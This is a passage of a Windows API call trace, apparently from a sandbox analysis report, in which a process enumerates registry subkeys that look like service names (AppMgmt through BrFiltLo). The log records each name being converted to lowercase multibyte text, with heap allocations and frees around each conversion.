lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0230.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0230.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0230.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0230.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0230.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0230.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0230.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0230.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0230.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0230.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0230.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0230.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0230.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0230.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0230.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0230.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0230.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0230.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0230.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0230.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0230.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0230.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0230.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0230.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0230.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0230.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0230.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0230.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0230.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0230.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0230.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0230.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0230.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0230.885] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.885] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0230.886] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0230.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0230.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0230.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0230.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0230.887] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0230.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0230.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0230.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0230.887] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0230.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1a90, 